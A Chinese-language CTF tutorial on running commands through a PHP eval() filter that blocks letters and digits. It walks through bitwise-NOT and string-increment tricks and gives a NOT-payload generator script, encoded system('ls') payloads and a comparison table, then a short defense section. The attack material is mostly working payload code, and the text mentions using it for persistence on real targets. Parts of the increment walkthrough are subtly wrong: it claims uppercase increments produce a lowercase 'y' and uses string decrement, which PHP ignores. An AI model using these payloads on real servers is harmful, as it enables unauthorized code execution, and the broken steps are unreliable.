CTF实战:当PHP正则过滤了字母数字,如何用取反和自增构造WebShell(附脚本)
·
CTF实战:无字母数字WebShell的取反与自增构造艺术
在CTF竞赛和渗透测试中,遇到过滤字母数字的PHP代码审计题已经成为经典题型。当 preg_match('/[a-z0-9]/i',$code) 这样的正则表达式封锁了常规攻击路径时,如何突破限制执行系统命令?本文将深入剖析两种优雅的绕过方案: 取反构造法 和 自增构造法 ,并分享实战中的决策逻辑与自动化脚本开发经验。
1. 理解题目本质与限制条件
假设我们面对以下典型代码场景:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
这个看似简单的代码片段设置了几个关键限制:
- 禁止任何大小写字母(a-z, A-Z)
- 禁止任何数字(0-9)
- 但允许特殊字符和不可见字符
- 最终通过
eval()执行用户输入
常见误区 :许多初学者会尝试编码转换或十六进制绕过,但这些方法往往仍会触发正则检测。真正的突破口在于:
- 利用PHP的弱类型特性
- 通过位运算生成所需字符
- 动态构建函数和参数
2. 取反构造法的原理与实现
取反运算符( ~ )是PHP中一个强大的位运算工具,它能够将二进制位逐位反转。这个特性恰好可以绕过字母数字检测,因为:
- 取反操作产生的是非字母数字字符
- URL编码后仍保持非字母数字属性
- 最终执行时能还原出原始指令
2.1 手工构造取反Payload
以执行 system('ls') 为例,构造过程如下:
-
计算字符串的取反值:
~'system' => "\x8C\x86\x8C\x8B\x9A\x92" ~'ls' => "\x93\x8C" -
URL编码后得到:
(~%8C%86%8C%8B%9A%92)(~%93%8C); -
完整Payload结构:
<?= (~system)(~ls); ?>
2.2 自动化脚本开发
手工计算效率低下,我们可以用PHP开发自动化工具:
<?php
// 取反Payload生成器
fwrite(STDOUT,'[+] 输入函数名: ');
$func = trim(fgets(STDIN));
fwrite(STDOUT,'[+] 输入命令: ');
$cmd = trim(fgets(STDIN));
echo '生成Payload: (~'.urlencode(~$func).')(~'.urlencode(~$cmd).');';
实战技巧 :
- 对于复杂命令,建议分段测试
- 注意PHP版本差异(5.x与7.x表现可能不同)
- 特殊字符可能需要双重编码
3. 自增构造法的精妙运用
自增法( ++ )是另一种完全不用字母数字的构造方式,其核心原理是:
- 利用数组转换得到字符"A"
- 通过连续自增得到其他字母
- 拼接出完整函数和参数
3.1 自增构造原理分解
基础构造单元:
$_=[]; // 创建数组
$_=@"$_"; // 数组转字符串得到"Array"
$_=$_['!'=='@']; // 获取第一个字符"A"
从"A"开始自增:
$A = $_; // "A"
$B = $A; $B++; // "B"
$C = $B; $C++; // "C"
// 以此类推...
3.2 实战构造system函数
完整构造 system('ls') 的步骤:
-
构造"s":
$s = $_; // "A" $s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++;$s++; // "S" (ASCII 83) -
构造其他字母并拼接:
$y = $s; $y++;$y++;$y++;$y++;$y++;$y++;$y++;$y++;$y++; // "y" $s = $y; $s--;$s--;$s--;$s--;$s--;$s--;$s--;$s--;$s--; // "s" // 完整拼接过程... -
最终Payload示例:
$_=[];$_=@"$_";$_=$_['!'=='@'];$____=$_;$_____=$_;$_____++;...;($____)($_____);
版本注意 :该方法在PHP 7.0.12以上版本可能失效,测试时需确认环境版本。
4. 技术对比与实战选择
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 取反法 | 构造简单,Payload短小 | 需要URL编码 | 快速解题,简单命令执行 |
| 自增法 | 完全不用任何字母数字 | 构造复杂,Payload冗长 | 极端过滤环境 |
| 异或法 | 可定制化字符组合 | 需要预生成字符表 | 需要特定字符组合时 |
| 或运算 | 类似异或但构造方式不同 | 同样需要预生成字符表 | 异或被过滤时的替代方案 |
决策树 :
- 如果仅过滤字母数字 → 优先取反法
- 如果还过滤了特定符号 → 考虑自增法
- 如果需要特定字符组合 → 使用异或/或运算
- 如果长度受限 → 取反法通常更短
5. 防御方案与进阶思考
虽然这些技术用于CTF竞赛,但了解防御方法同样重要:
-
更严格的正则过滤:
if(preg_match('/[a-z0-9\x00-\x20\x7F-\xFF]/i',$code)){ die('非法输入'); } -
禁用危险函数:
ini_set('disable_functions', 'system,exec,passthru...'); -
使用白名单机制:
$allowed = ['date','strlen']; if(!in_array($func, $allowed)){ die('函数禁止调用'); }
进阶挑战 :
- 当取反和自增都被过滤时如何绕过
- 无任何字母数字和特殊字符的WebShell构造
- 利用PHP特性动态生成代码
在真实渗透测试中,这些技术可能用于受限环境下的权限维持。建议仅在合法授权范围内测试,并理解每种技术的底层原理而非简单复制Payload。
更多推荐

所有评论(0)